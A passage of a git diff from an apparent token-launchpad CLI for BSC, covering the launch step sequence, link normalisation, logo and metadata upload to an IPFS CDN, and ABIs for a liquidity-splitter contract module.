again with ${was}, or add --restart for a new splitter (gang lp set-payee changes it after the create)`, { splitter: plan.splitter }) + } + } + + // ---- combined recipient: cloned for the dev before the create, at predict(dev, plan.salt) + if (comboSpec && !created) { + if (!plan?.salt) { + const refused = await untrustedBuybackQuote(read, net, flag('quote') ? opt('quote') : net.wbnb, 'combo') + if (refused) { + const { error, ...extra } = refused + return fail(error, extra) + } + if ((await client.getCode({ address: comboSpec.factory }) ?? '0x') === '0x') { + const env = testnet ? 'GANG_TESTNET_COMBO_FACTORY' : 'GANG_COMBO_FACTORY' + return fail(`GangComboSplitterFactory has no code at ${comboSpec.factory} on ${testnet ? 'the BSC testnet' : 'BSC mainnet'}: give one of --buyback / --lp / --split alone for now${process.env[env] ? ` (or fix ${env})` : ''}`, { factory: comboSpec.factory }) + } + const salt = `0x${randomBytes(32).toString('hex')}` + const at = await read(comboSpec.factory, COMBO_FACTORY_ABI, 'predict', [me, salt]) + if (comboSpec.payees.some((p) => p.toLowerCase() === at.toLowerCase())) return fail('--split: a payee cannot be the combined recipient itself', { module: at }) + const args = [comboSpec.buybackBps, comboSpec.lpBps, comboSpec.payees, comboSpec.shares, salt] + const sim = await simulateCombo(client, me, comboSpec.factory, COMBO_FACTORY_ABI, 'create', args) + if (sim.failed) return out({ success: false, step: 'combo-module', factory: comboSpec.factory, ...tag('combo-module'), ...sim.failed }) + writePlan(key, { ...base, salt, splitter: at, factory: comboSpec.factory, module: 'combo' }) + const data = encodeFunctionData({ abi: COMBO_FACTORY_ABI, functionName: 'create', args }) + const parts = comboParts(comboSpec.buybackBps, comboSpec.lpBps, comboSpec.payees.length) + return out({ + ...step({ chainId: net.chainId }, { from: me, to: comboSpec.factory, data }, { + step: 'combo-module', chainId: Number(net.chainId), factory: comboSpec.factory, module: at, + buybackPct: comboSpec.buybackBps / 100, lpPct: comboSpec.lpBps / 100, payeesPct: (10_000 - comboSpec.buybackBps - comboSpec.lpBps) / 100, + payees: comboSpec.list, permanent: true, parts, + note: `clones your combined recipient (combo-v1, listed as a tax recipient in the same tx). Of the recipient's part of the tax: ${comboLine(comboSpec.buybackBps, comboSpec.lpBps, comboSpec.payees, comboSpec.shares)}. ${PERMANENT_NOTE}. ${parts.otherAssets[0].toUpperCase()}${parts.otherAssets.slice(1)}`, + }, flag('calldata'), io.summarize), + ...tag('combo-module', { module: at, next: `${rerun}: it then builds the create with the combined recipient as the recipient` }), + }) + } + if ((await client.getCode({ address: plan.splitter }) ?? '0x') === '0x') { + return out({ + success: false, ...tag('combo-module', { module: plan.splitter }), error: 'the combined recipient is not on chain yet', + hint: `if the clone was executed, wait for it to land and ${rerun.replace(' after executing it', '')}; if it was not, add --restart to build it again`, + }) + } + const s = await comboOf(read, plan.splitter, { wbnb: net.wbnb }) + if (!s || s.dev.toLowerCase() !== me.toLowerCase() || s.token) { + return fail('the module at this launch\'s address is not an unbound combined recipient of this wallet: add --restart', { module: plan.splitter }) + } + const same = s.buybackBps === comboSpec.buybackBps && s.lpBps === comboSpec.lpBps && s.payees.length === comboSpec.payees.length + && s.payees.every((p, i) => p.payee.toLowerCase() === comboSpec.payees[i].toLowerCase() && p.bps === comboSpec.shares[i]) + if (!same) { + return fail(`this launch's combined recipient is ${comboLine(s.buybackBps, s.lpBps, s.payees.map((p) => p.payee), s.payees.map((p) => p.bps))}, not what --buyback / --lp / --split say: run it again with those, or add --restart for a new one (nothing in it can change after the clone)`, { module: plan.splitter }) + } + } + + // ---- create + if (!created) { + const startCount = (await read(net.pad, PAD_ABI, 'tokenCount')).toString() + const createIo = { + ...io, + ...argsWith(io, plan?.splitter ? { recipient: plan.splitter } : {}, LAUNCH_FLAGS), + out: (o) => { + // the plan starts with the create tx itself: a wrap / approve step before it (or a failed preview) leaves none, + // so the next run builds the create again + const built = o.success && o.step === 'create' + if (built) writePlan(key, { ...base, ...(plan?.splitter && { salt: plan.salt, splitter: plan.splitter, factory: plan.factory, ...(plan.module && { module: plan.module }) }), startCount }) + const after = steps[steps.indexOf(kind === 'v3' ? 'create' : 'create (dev shares included)') + 1] + return out({ + ...o, + // 2.0: the creator fee is the dev's own, not the module's + ...(o.creatorFee && mod && { creatorFee: `${o.creatorFee} ${notThroughModule(MODULE_NAMES[mod], { at: plan?.splitter, net: testnet ? ' --testnet' : '', kind: mod })}` }), + ...tag('create', built ? { next: `${rerun}: it finds the new token and continues with ${after ?? 'nothing'}` } : o.success ? { next: `${rerun}: it then builds the create` } : {}), + }) + }, + } + if (kind === 'v3') return runV3('create', { ...createIo, notes: padNotes('v3', 'create') }) + return runFair('create', { ...createIo, notes: padNotes('fair', 'create') }) + } + + // ---- the token this plan created: kept in the plan once found, else looked up from the pad's list since the plan + let token = plan.token ?? null + if (!token) { + const count = Number(await read(net.pad, PAD_ABI, 'tokenCount')) + for (let i = Number(plan.startCount); i < count && !token; i++) { + const t = await read(net.pad, PAD_ABI, 'allTokens', [BigInt(i)]) + const k = Number(await read(net.pad, PAD_ABI, 'kindOf', [t])) + const creator = k === 1 ? (await read(net.pad, PAD_ABI, 'curves', [t]))[0] : k === 2 ? (await read(net.pad, PAD_ABI, 'sales', [t]))[0] : zeroAddress + if (creator.toLowerCase() !== me.toLowerCase()) continue + if ((await read(t, ERC20_ABI, 'symbol')) === symbol) token = t + } + if (token) { + plan = { ...plan, token } + writePlan(key, plan) + } + } + if (!token) { + return out({ + success: false, ...tag('create'), error: 'no token from this launch yet', + hint: `if the create was executed, wait for it to land and ${rerun.replace(' after executing it', '')}; if it was not (or its preview failed), add --restart to build the create again`, + }) + } + + // later steps carry no note (it went on the create) and take the token from the plan + const stepIo = (over) => ({ ...io, ...argsWith(io, { ...over, token }, [...LAUNCH_FLAGS, ...NOTE_FLAGS, 'name', 'symbol']) }) + const bal = await read(token, ERC20_ABI, 'balanceOf', [me]) + const isSplit = plan.module === 'split' + const isLp = plan.module === 'lp' + const isCombo = plan.module === 'combo' + const buybackState = () => (plan.splitter && !isSplit && !isLp && !isCombo ? splitterOf(read, plan.splitter) : null) + const comboState = () => (plan.splitter && isCombo ? comboOf(read, plan.splitter, { wbnb: net.wbnb, pad: net.pad, ref: `--token ${token}${testnet ? ' --testnet' : ''}` }) : null) + const lpState = () => (plan.splitter && isLp ? lpOf(read, plan.splitter, { pad: net.pad }) : null) + const splitState = () => (plan.splitter && isSplit ? splitOf(read, plan.splitter, { wbnb: net.wbnb, ref: `--token ${token}${testnet ? ' --testnet' : ''}` }) : null) + + // ---- done: the report only, whatever happened to the balance or the bond since + const report = async () => { + const done = { + success: true, ...tag('done', { token, again: 'this launch is done; running the command again only reports it. Another token with the same name / symbol: add --restart' }), + token, name, symbol, devBalance: formatUnits(bal, 18), chainId: Number(net.chainId), + } + const bb = await buybackState() + if (bb) done.buyback = bb + const sp = await splitState() + if (sp) done.split = sp + const lps = await lpState() + if (lps) done.lp = lps + const cs = await comboState() + if (cs) done.combo = cs + // 2.0: where the creator fee of a V3 token is claimed (and that a module does not get it) + const share = kind === 'v3' ? await creatorFeeShareOf({ chainId: net.chainId, pad: net.pad, read }).catch(() => null) : null + if (share != null) { + done.creatorFee = `${share / 100}% of the 1% curve fee is kept for you, the creator: ${claimCmd(token, testnet ? ' --testnet' : '')}${plan.splitter ? `. ${notThroughModule(MODULE_NAMES[planMod], { token, at: plan.splitter, net: testnet ? ' --testnet' : '', kind: planMod })}` : ''}` + } + if (!bond) return out({ ...done, note: `launched: gang ${kind} info --token ${token}${testnet ? ' --testnet' : ''}` }) + return runBond('status', { ...stepIo({}), out: (o) => out({ ...done, bondStatus: o, note: `launched and bonded: gang bond status --token ${token}${testnet ? ' --testnet' : ''}` }) }) + } + if (plan.done) return report() + + // ---- bind the splitter / split module / LP splitter / combined recipient to the token (anyone may; the launch does it right after the create) + if (plan.splitter) { + const abi = isCombo ? COMBO_ABI : isSplit ? SPLIT_ABI : isLp ? LP_ABI : SPLITTER_ABI + const bound = await read(plan.splitter, abi, 'token') + if (bound === zeroAddress) { + const sim = await (isCombo ? simulateCombo : isSplit ? simulateSplit : isLp ? simulateLp : simulateCall)(client, me, plan.splitter, abi, 'bind', [token]) + if (sim.failed) return out({ success: false, step: 'bind', ...tag('bind', { token }), ...sim.failed }) + const data = encodeFunctionData({ abi, functionName: 'bind', args: [token] }) + return out({ + ...step({ chainId: net.chainId }, { from: me, to: plan.splitter, data }, { + step: 'bind', chainId: Number(net.chainId), token, ...(isSplit || isCombo ? { module: plan.splitter } : { splitter: plan.splitter }), + note: isCombo + ? 'ties the combined recipient to this token for good: its quote is what gets split, and its pair is where the buy-backs and liquidity go (from graduation on). Nothing is split before this' + : isSplit + ? 'ties the split module to this token for good: the keeper then splits its quote among the payees' + : isLp + ? 'ties the LP splitter to this token for good: its pair is where the liquidity goes (from graduation on)' + : 'ties the splitter to this token for good (what it buys back and burns)', + }, flag('calldata'), io.summarize), + ...tag('bind', { token, next: `${rerun}${devBuy ? ': it continues with the dev buy' : bond ? ': it continues with the bond' : ': the launch is then done'}` }), + }) + } + if (bound.toLowerCase() !== token.toLowerCase()) { + return out({ success: false, ...tag('bind', { token }), error: `the ${isCombo ? 'combined recipient' : isSplit ? 'split module' : isLp ? 'LP splitter' : 'splitter'} is bound to another token`, [isSplit || isCombo ? 'module' : 'splitter']: plan.splitter, boundTo: bound }) + } + } + + // ---- V3 dev buy (a 打新 dev already holds its shares' tokens) + if (devBuy && bal === 0n) { + return runV3('buy', { + ...stepIo({ amount: devBuy }), out: withTag('dev-buy', { token, next: `${rerun}${bond ? ': it continues with the bond' : ': the launch is then done'}` }), + notes: padNotes('v3', 'buy', { note: null }), + }) + } + + // ---- bond + if (bond) { + const b = await read(bondAddress(testnet), BOND_ABI, 'bondOf', [token]) + if (Number(b.round) === 0) { + const hold = bond.hold === 'all' ? formatUnits(bal, 18) : bond.hold + return runBond('post', { + ...stepIo({ amount: bond.amount, hold, days: bond.days, cover: undefined }), + out: withTag('bond', { token, next: `${rerun}: it reports the launch` }), + }) + } + } + + // ---- every step done: mark the plan, so later runs only report (never a second buy, bond or create) + writePlan(key, { ...plan, done: true }) + return report() +} diff --git a/src/limit.js b/src/limit.js new file mode 100644 index 0000000..e0c343a --- /dev/null +++ b/src/limit.js @@ -0,0 +1,13 @@ +/** fn over items, at most `limit` at a time, results in order. */ +export async function mapLimit(items, limit, fn) { + const out = new Array(items.length) + let next = 0 + const worker = async () => { + while (next < items.length) { + const i = next++ + out[i] = await fn(items[i], i) + } + } + await Promise.all(Array.from({ length: Math.min(limit, items.length) }, worker)) + return out +} diff --git a/src/links.js b/src/links.js new file mode 100644 index 0000000..52b665f --- /dev/null +++ b/src/links.js @@ -0,0 +1,51 @@ +/** + * Token links (create --website / --twitter): what counts as a stored value and how typed input becomes one. + * No imports, so discover.js can check what the API returns without an import cycle (notes.js imports discover.js). + * The calldata reader is in notes.js (readTokenLinks). Same rules as the server's noteCommit.js. + */ +const LINKS_MAX = 200 // per field, characters (all ASCII once canonical) +// path segments of A-Z a-z 0-9 _ . -, but not "." or ".." (a browser would resolve those away) +const X_URL = /^https:\/\/x\.com(?:\/(?!\.\.?(?:\/|$))[A-Za-z0-9_.-]+)+$/ +// the last label of a domain starts with a letter (TLDs, punycode xn--…); WHATWG URL reads an all-digit last label as IPv4 +const DOMAIN = /^(?:[a-z0-9-]+\.)+[a-z][a-z0-9-]*$/ +const X_HOSTS = new Set(['x.com', 'www.x.com', 'mobile.x.com', 'twitter.com', 'www.twitter.com', 'mobile.twitter.com']) + +/** Error code for a stored website value, or null: a canonical http(s) URL on a domain (no IP), no port, no credentials. */ +export function websiteError(v) { + let u + try { u = new URL(v) } catch { return 'bad_website' } + if (u.href !== v || v.length > LINKS_MAX) return 'bad_website' + if (!['https:', 'http:'].includes(u.protocol) || u.username || u.password || u.port || !DOMAIN.test(u.hostname)) return 'bad_website' + return null +} + +/** Error code for a stored twitter value, or null: https://x.com/, no query. */ +export const twitterError = (v) => (X_URL.test(v) && v.length <= LINKS_MAX ? null : 'bad_twitter') + +/** --website as typed → canonical URL ('' when empty). "example.com" means https://example.com/. Throws bad_website. */ +export function normalizeWebsite(raw) { + const s = String(raw ?? '').trim() + if (!s) return '' + const bad = (why) => new Error(`bad_website: --website ${why} (got ${JSON.stringify(s)})`) + if (!/^https?:\/\//i.test(s) && s.includes('://')) throw bad('must be an http(s) link') + let u + try { u = new URL(/^https?:\/\//i.test(s) ? s : `https://${s}`) } catch { throw bad('is not a valid link') } + if (websiteError(u.href)) throw bad(`must be an http(s) link to a domain (no IP address, port or user:password), at most ${LINKS_MAX} characters`) + return u.href +} + +/** --twitter as typed (@handle, handle, x.com/… or twitter.com/… link) → https://x.com/ ('' when empty). Throws bad_twitter. */ +export function normalizeTwitter(raw) { + const s = String(raw ?? '').trim() + if (!s) return '' + const bad = () => new Error(`bad_twitter: --twitter takes an X handle (@name) or an x.com / twitter.com link (got ${JSON.stringify(s)})`) + const handle = /^@?([A-Za-z0-9_]{1,15})$/.exec(s) + if (handle) return `https://x.com/${handle[1]}` + let u + try { u = new URL(/^https?:\/\//i.test(s) ? s : `https://${s}`) } catch { throw bad() } + if (!['https:', 'http:'].includes(u.protocol) || u.username || u.password || u.port || !X_HOSTS.has(u.hostname)) throw bad() + // query and fragment (?s=20 share tracking) are dropped; x.com/@name is x.com/name + const v = `https://x.com${u.pathname.replace(/^\/@/, '/').replace(/\/+$/, '')}` + if (twitterError(v)) throw bad() + return v +} diff --git a/src/logo.js b/src/logo.js index 7b03651..3f02b2b 100644 --- a/src/logo.js +++ b/src/logo.js @@ -1,40 +1,192 @@ import { readFileSync, statSync } from 'node:fs' -import { extname, resolve } from 'node:path' +import { isAbsolute, resolve } from 'node:path' +import { UA } from './version.js' const MAX_BYTES = 512 * 1024 -const MIME = { - '.png': 'image/png', - '.jpg': 'image/jpeg', - '.jpeg': 'image/jpeg', - '.webp': 'image/webp', - '.gif': 'image/gif', -} +const FETCH_TIMEOUT_MS = 20_000 +// a POST to /api/logos carries up to 512 KB of image (or 256 KB of JSON): give it longer than a fetch of headers +const UPLOAD_TIMEOUT_MS = 60_000 -export const LOGO_API = process.env.GANG_LOGO_API || 'https://gang.fun/api/logos' +export const LOGO_API = (process.env.GANG_LOGO_API || 'https://gang.fun/api/logos').replace(/\/+$/, '') export const LOGO_UI = 'https://gang.fun/dev/logo' +// the upload endpoint stores files in an IPFS bucket as ipfs/, served by this CDN +// (where --logo-uri ipfs:// is checked; an upload's own url comes from the endpoint) +export const CDN_BASE = (process.env.GANG_CDN_BASE || 'https://cdn.gang.fun').replace(/\/+$/, '') +// CIDv1 (raw, sha2-256, base32) as the upload endpoint makes it +const CID_RE = /^b[a-z2-7]{58}$/ + +// file hosts that delete uploads after hours or days: a logoURI there turns into a broken image, and it can't be changed on-chain +const TEMP_HOSTS = ['litter.catbox.moe', 'tmpfiles.org', '0x0.st', 'uguu.se', 'file.io', 'transfer.sh'] + +// network failures, timeouts and 5xx / 429 may pass on a retry; a missing or wrong image won't (follow.js uses these too) +// fetch wraps every failure (also ipfs://, bad URL, expired TLS) in a cause; only these codes and timeouts are transient +const NET_CODES = ['ECONNREFUSED', 'ECONNRESET', 'ETIMEDOUT', 'EAI_AGAIN', 'EPIPE', 'ENETUNREACH', 'EHOSTUNREACH', + 'UND_ERR_SOCKET', 'UND_ERR_CLOSED', 'UND_ERR_CONNECT_TIMEOUT', 'UND_ERR_HEADERS_TIMEOUT', 'UND_ERR_BODY_TIMEOUT'] +export const fetchError = (msg, e) => Object.assign(new Error(msg), { + retryable: ['TimeoutError', 'AbortError'].includes(e.name) || NET_CODES.includes(e.cause?.code), +}) +export const statusError = (msg, status) => Object.assign(new Error(msg), { retryable: status >= 500 || status === 429 }) +export const why = (e) => e.cause?.message || e.message + +/** The image type from its first bytes; only the types gang.fun makes thumbnails for (png / jpeg / gif / webp). */ +function sniffMime(buf) { + if (buf.length >= 8 && buf.readUInt32BE(0) === 0x89504e47 && buf.readUInt32BE(4) === 0x0d0a1a0a) return 'image/png' + if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) return 'image/jpeg' + if (buf.length >= 6 && /^GIF8[79]a$/.test(buf.toString('latin1', 0, 6))) return 'image/gif' + if (buf.length >= 12 && buf.toString('latin1', 0, 4) === 'RIFF' && buf.toString('latin1', 8, 12) === 'WEBP') return 'image/webp' + return null +} + +/** On-chain form of an uploaded file: ipfs://, not the CDN URL. */ +export const ipfsUri = (cid) => `ipfs://${cid}` +export const cdnUrl = (cid) => `${CDN_BASE}/ipfs/${cid}` + +export const isIpfsUri = (uri) => /^ipfs:\/\//i.test(String(uri || '').trim()) + +/** + * The cid in ipfs:// (also ipfs://ipfs/) or /ipfs/, when it is a CIDv1 like ours; else null. A + * ?query / #hash / trailing slash is dropped: the CDN's ?x-tos-process=… thumbnail still names the original file. + */ +export function ipfsCid(uri) { + const s = String(uri || '').trim() + const cid = s.startsWith(`${CDN_BASE}/ipfs/`) ? s.slice(CDN_BASE.length + 6) : s.replace(/^ipfs:\/\/(ipfs\/)?/i, '') + if (cid === s) return null + const bare = cid.replace(/[?#].*$/s, '').replace(/\/+$/, '') + return CID_RE.test(bare) ? bare : null +} + +/** The upload response's cid (or the one in its URL); an upload without one has nothing to put on-chain. */ +function uploadedCid(json, what, status) { + const cid = CID_RE.test(json?.cid) ? json.cid : ipfsCid(json?.url || json?.logoUrl) + if (!cid) { + throw statusError(`${what} upload returned no cid (${status}), so there is no ipfs:// URI to put on-chain; ${LOGO_API} ` + + `must answer like gang.fun's upload endpoint (GANG_LOGO_API): ${JSON.stringify(json).slice(0, 200)}`, status) + } + return cid +} + +/** Image bytes → data URL → POST /api/logos → { logoUrl: ipfs://, url: the endpoint's CDN URL, cid, id, bytes }. */ +async function postLogo(buf, what) { + if (buf.length <= 0) throw new Error(`empty image: ${what}`) + if (buf.length > MAX_BYTES) throw new Error(`logo too large: ${buf.length} bytes (max ${MAX_BYTES}): ${what}`) + const mime = sniffMime(buf) + if (!mime) throw new Error(`not a png/jpeg/webp/gif image: ${what}`) + const image = `data:${mime};base64,${buf.toString('base64')}` + let res, text + try { + res = await fetch(LOGO_API, { + method: 'POST', + headers: { 'content-type': 'application/json', accept: 'application/json', 'user-agent': UA }, + body: JSON.stringify({ image }), + signal: AbortSignal.timeout(UPLOAD_TIMEOUT_MS), + }) + text = await res.text() + } catch (e) { + throw fetchError(`logo upload failed: ${why(e)}`, e) + } + let json + try { json = JSON.parse(text) } catch { throw statusError(`logo upload non-JSON (${res.status}): ${text.slice(0, 200)}`, res.status) } + if (!res.ok || !json?.ok || !json?.logoUrl) { + throw statusError(`logo upload failed (${res.status}): ${json?.error || text.slice(0, 200)}`, res.status) + } + const cid = uploadedCid(json, 'logo', res.status) + return { logoUrl: ipfsUri(cid), url: json.url || cdnUrl(cid), cid, id: json.id, bytes: json.bytes ?? buf.length, api: LOGO_API } +} -/** Read a local image → data URL → POST /api/logos → { logoUrl, id, bytes }. */ +/** + * Token metadata JSON (the token's contractURI / metaURI, permanent on-chain) → POST /api/logos as application/json → + * { uri: ipfs://, url: the endpoint's CDN URL, cid, id, bytes }. Keys with no value are left out. Same upload endpoint and CDN as logos. + */ +export async function uploadMetadata(meta) { + const clean = Object.fromEntries(Object.entries(meta).filter(([, v]) => v != null && v !== '')) + const buf = Buffer.from(JSON.stringify(clean)) + if (buf.length > 256 * 1024) throw new Error(`metadata too large: ${buf.length} bytes (max 256 KB)`) + let res, text + try { + res = await fetch(LOGO_API, { + method: 'POST', + headers: { 'content-type': 'application/json', accept: 'application/json', 'user-agent': UA }, + body: JSON.stringify({ file: `data:application/json;base64,${buf.toString('base64')}` }), + signal: AbortSignal.timeout(UPLOAD_TIMEOUT_MS), + }) + text = await res.text() + } catch (e) { + throw fetchError(`metadata upload failed: ${why(e)}`, e) + } + let json + try { json = JSON.parse(text) } catch { throw statusError(`metadata upload non-JSON (${res.status}): ${text.slice(0, 200)}`, res.status) } + if (!res.ok || !json?.ok || !(json?.url || json?.logoUrl)) { + throw statusError(`metadata upload failed (${res.status}): ${json?.error || text.slice(0, 200)}`, res.status) + } + const cid = uploadedCid(json, 'metadata', res.status) + return { uri: ipfsUri(cid), url: json.url || cdnUrl(cid), cid, id: json.id, bytes: json.bytes ?? buf.length, metadata: clean } +} + +/** Read a local image → POST /api/logos → { logoUrl, url, cid, id, bytes }. */ export async function uploadLogoFile(filePath) { const abs = resolve(filePath) - const st = statSync(abs) + let st + try { + st = statSync(abs) + } catch (e) { + if (e.code !== 'ENOENT') throw e + // a relative path resolves against wherever this process started: under `gang mcp` that is the MCP host's choice + throw new Error(`file not found: ${abs}${isAbsolute(filePath) ? '' : ` (${filePath} is relative to ${process.cwd()})`}; give the image's absolute path, or its URL instead (create: --logo-uri, upload-logo: --url)`) + } if (!st.isFile()) throw new Error(`not a file: ${abs}`) - if (st.size <= 0) throw new Error(`empty file: ${abs}`) if (st.size > MAX_BYTES) throw new Error(`logo too large: ${st.size} bytes (max ${MAX_BYTES})`) - const ext = extname(abs).toLowerCase() - const mime = MIME[ext] - if (!mime) throw new Error(`unsupported image type ${ext || '(none)'}; use png/jpeg/webp/gif`) - const b64 = readFileSync(abs).toString('base64') - const image = `data:${mime};base64,${b64}` - const res = await fetch(LOGO_API, { - method: 'POST', - headers: { 'content-type': 'application/json', accept: 'application/json' }, - body: JSON.stringify({ image }), - }) - const text = await res.text() - let json - try { json = JSON.parse(text) } catch { throw new Error(`logo upload non-JSON (${res.status}): ${text.slice(0, 200)}`) } - if (!res.ok || !json?.ok || !json?.logoUrl) { - throw new Error(json?.error || `logo upload failed (${res.status}): ${text.slice(0, 200)}`) + return postLogo(readFileSync(abs), abs) +} + +/** True when the URL is an old gang.fun logo, from before the IPFS bucket (nothing to copy). */ +export const isGangLogo = (uri) => uri.startsWith(`${LOGO_API}/`) + +/** Throw unless a gang.fun logo URL serves an image (a typo'd id would go on-chain as a broken logo). Reads headers only. */ +export async function checkGangLogo(uri) { + let res + try { + // the logo route answers HEAD with 405, so GET and drop the body + res = await fetch(uri, { headers: { 'user-agent': UA }, signal: AbortSignal.timeout(FETCH_TIMEOUT_MS) }) + await res.body?.cancel() + } catch (e) { + throw fetchError(`could not check logo ${uri}: ${why(e)}`, e) + } + if (!res.ok || !res.headers.get('content-type')?.startsWith('image/')) { + throw statusError(`no logo at ${uri} (HTTP ${res.status}); upload it with \`gang upload-logo --file …\` and use the logoUrl it returns`, res.status) + } +} + +/** The temporary file host a URL points at, or null. */ +export function tempHost(uri) { + let host + try { host = new URL(uri).hostname.toLowerCase() } catch { return null } + return TEMP_HOSTS.find((h) => host === h || host.endsWith(`.${h}`)) || null +} + +/** Download an image URL (≤512 KB) → POST /api/logos → { logoUrl, url, cid, id, bytes, source }. */ +export async function rehostLogoUrl(uri) { + const msg = `could not download logo ${uri}` + let res + try { + res = await fetch(uri, { redirect: 'follow', signal: AbortSignal.timeout(FETCH_TIMEOUT_MS), headers: { accept: 'image/*', 'user-agent': UA } }) + } catch (e) { + throw fetchError(`${msg}: ${why(e)}`, e) + } + if (!res.ok) throw statusError(`${msg}: HTTP ${res.status}`, res.status) + const len = Number(res.headers.get('content-length')) + if (len > MAX_BYTES) throw new Error(`${msg}: logo too large: ${len} bytes (max ${MAX_BYTES})`) + // read with a cap: content-length can be missing or wrong + const chunks = [] + let size = 0 + try { + for await (const c of res.body) { + size += c.length + if (size > MAX_BYTES) break + chunks.push(c) + } + } catch (e) { + throw fetchError(`${msg}: ${why(e)}`, e) } - return { logoUrl: json.logoUrl, id: json.id, bytes: json.bytes ?? st.size, api: LOGO_API } + if (size > MAX_BYTES) throw new Error(`${msg}: logo too large: over ${MAX_BYTES} bytes`) + return { ...(await postLogo(Buffer.concat(chunks), uri)), source: uri } } diff --git a/src/lp.js b/src/lp.js new file mode 100644 index 0000000..19f5b0a --- /dev/null +++ b/src/lp.js @@ -0,0 +1,342 @@ +import { createPublicClient, parseAbi, encodeFunctionData, formatUnits, hexToString, isAddress, maxUint128, zeroAddress } from 'viem' +import { atPad, atTokenPad, GANG_GENS, KIND_UNREAD, gangGens, listedBy, padNets, NOT_ON_MAINNET, rpcTransport } from './gangpad.js' +import { notListed, splitPlan, sweepAsset, sweepPlan, sweepReads } from './buyback.js' +import { walletFor } from './fair.js' +import { parseNum, revertOf as revertIn, step } from './steps.js' + +/** + * `gang lp …` and `gang create … --lp [--lp-to ]` — GangLiquiditySplitter (dev 税按比例自动加池子, + * `lp-burn-v1`): a V3 token's tax recipient that splits each payment between liquidity added to the token's PancakeSwap + * pair, its LP sent to 0xdead (locked for good, like the graduation LP), and the dev's payee (the dev unless it names + * another address; `gang lp set-payee`). The buy-back splitter's sibling (GangBuybackSplitter v4): the same split, ratio + * rules, payee and pace; only the chunk differs. GangLiquiditySplitterFactory clones one per token for the dev + * (`create(bps, salt, payee)`, at `predict(dev, salt)`) and has GangHandlerAdmin list it, so the dev names it as the + * recipient at create (launch.js does the three steps: clone → create → bind, as for --buyback). + * The ratio: a raise applies at once, a cut 3 days after it is asked for (then anyone applies it within 7 days, or it + * lapses). The keeper adds liquidity in chunks (`work`: one per 4 minutes, ≤ 0.5% of the pair's quote reserve, none + * while the price is > 2% above the pair's 10-minute average): half buys the token, all of it goes back into the pair + * with the matching quote, and the pair mints the LP to 0xdead. Both pool taxes apply, so part of the other half stays + * for the next chunk. + * Gas: a chunk takes ~0.53–0.75M (the deposit lets the tax handler sell a chunk of its tax first). The CLI never sets a + * gas limit: the wallet / node estimates it; a fixed or trimmed limit can revert. + * Env: GANG_LP_FACTORY / GANG_TESTNET_LP_FACTORY override the create target's factory (gangpad.js). + */ + +// one factory per GangLaunchpad generation (it is bound to one pad): the create target's (GANG_GENS in gangpad.js) +export const MAINNET_LP_FACTORY = GANG_GENS.mainnet[0].lpFactory +export const TESTNET_LP_FACTORY = GANG_GENS.testnet[0].lpFactory +export const LP_TYPE = 'lp-burn-v1' +const BPS = 10_000n +const CHUNK_GAP_S = 4 * 60 + +const ERRORS = [ + 'error ZeroAddress()', 'error NotClone()', 'error NotFactory()', 'error AlreadyInitialized()', 'error BadBps()', + 'error NotDev()', 'error AlreadyBound()', 'error NotBound()', 'error NotCurve()', 'error NotCreator()', + 'error NotRecipient()', 'error NoProposal()', 'error NotDue()', 'error CutLapsed()', 'error NothingOwed()', + 'error NothingToAdd()', 'error AddTooSoon()', 'error NotTradable()', 'error Slippage()', 'error NotSweepable()', + 'error BadPayee()', +] + +export const LP_FACTORY_ABI = parseAbi([ + 'function create(uint16 lpBps, bytes32 salt, address payee) returns (address splitter)', + 'function predict(address dev, bytes32 salt) view returns (address)', + 'function pad() view returns (address)', + 'error NotAgent()', 'error WrongHandler()', + 'event Created(address indexed dev, address indexed splitter, uint16 lpBps, address payee)', + ...ERRORS, +]) + +export const LP_ABI = parseAbi([ + 'function moduleType() view returns (bytes32)', + 'function dev() view returns (address)', + 'function payee() view returns (address)', + 'function token() view returns (address)', + 'function quote() view returns (address)', + 'function lpBps() view returns (uint16)', + 'function pendingCut() view returns (bool live, uint16 bps, uint64 at)', + 'function lpLeft() view returns (uint256)', + 'function unsplit() view returns (uint256)', + 'function devOwed() view returns (uint256)', + 'function lastAddAt() view returns (uint64)', + 'function previewAdd() view returns (bool ready, uint256 chunk, uint256 tokensOut)', + 'function previewWork() view returns (bool due, uint256 minOut)', + 'function bind(address token)', + 'function setLpBps(uint16 newBps)', + 'function applyLpBps()', + 'function setPayee(address newPayee)', + 'function split()', + 'function pad() view returns (address)', + 'function releaseDev() returns (uint256)', + 'function addChunk(uint256 minTokensOut) returns (uint256 quoteIn, uint256 tokensIn, uint256 liquidity)', + 'function work(uint256 minOut)', + 'function sweep(address asset)', + 'event Bound(address indexed token, address indexed quote)', + 'event Split(uint256 incoming, uint256 toLp, uint256 toDev)', + 'event DevOwed(uint256 amount)', + 'event DevReleased(uint256 amount)', + 'event Shortfall(uint256 amount)', + 'event LpBpsSet(uint16 oldBps, uint16 newBps)', + 'event LpBpsProposed(uint16 newBps, uint64 at)', + 'event LpBpsProposalCancelled(uint16 newBps)', + 'event LiquidityAdded(uint256 quoteIn, uint256 tokensIn, uint256 liquidity, uint256 left)', + 'event Swept(address indexed asset, uint256 amount)', + 'event PayeeSet(address indexed oldPayee, address indexed newPayee)', + ...ERRORS, +]) +/** gang tx decodes these (the factory's Created and the splitter's events). */ +export const LP_EVENT_ABIS = [LP_FACTORY_ABI, LP_ABI] + +const ERC20_ABI = parseAbi(['function symbol() view returns (string)']) +const PAD_ABI = parseAbi([ + 'function taxConfigOf(address token) view returns (uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address recipient)', + 'function curves(address token) view returns (address creator, address quote, uint128 realQuote, uint128 sold, uint128 gradAmt, uint128 virtualQuote, bool graduated, uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address pair, address refPair)', +]) + +export const LP_GAS_NOTE = 'let the wallet estimate the gas limit and do not set or trim it: a chunk takes about 0.53–0.75M gas (the deposit lets the tax handler sell a chunk of its tax first); too low a limit reverts' + +export const HINTS = { + NotAgent: 'only an Agent can create a V3 token, so only an Agent gets an LP splitter', + NotFactory: 'this LP factory is not allowed on the platform\'s GangHandlerAdmin: it cannot list an LP splitter as a tax recipient. If GANG_LP_FACTORY / GANG_TESTNET_LP_FACTORY is set, unset it to use the built-in factory; otherwise launch without --lp', + BadBps: 'the LP share is 0–100%', + BadPayee: 'the payee cannot be the LP splitter itself', + ZeroAddress: 'the zero address cannot be the payee', + NotDev: 'only the dev this LP splitter was made for can change its ratio or payee', + NotCreator: 'the token was not created by this LP splitter\'s dev', + NotRecipient: 'the token does not pay its tax to this LP splitter', + 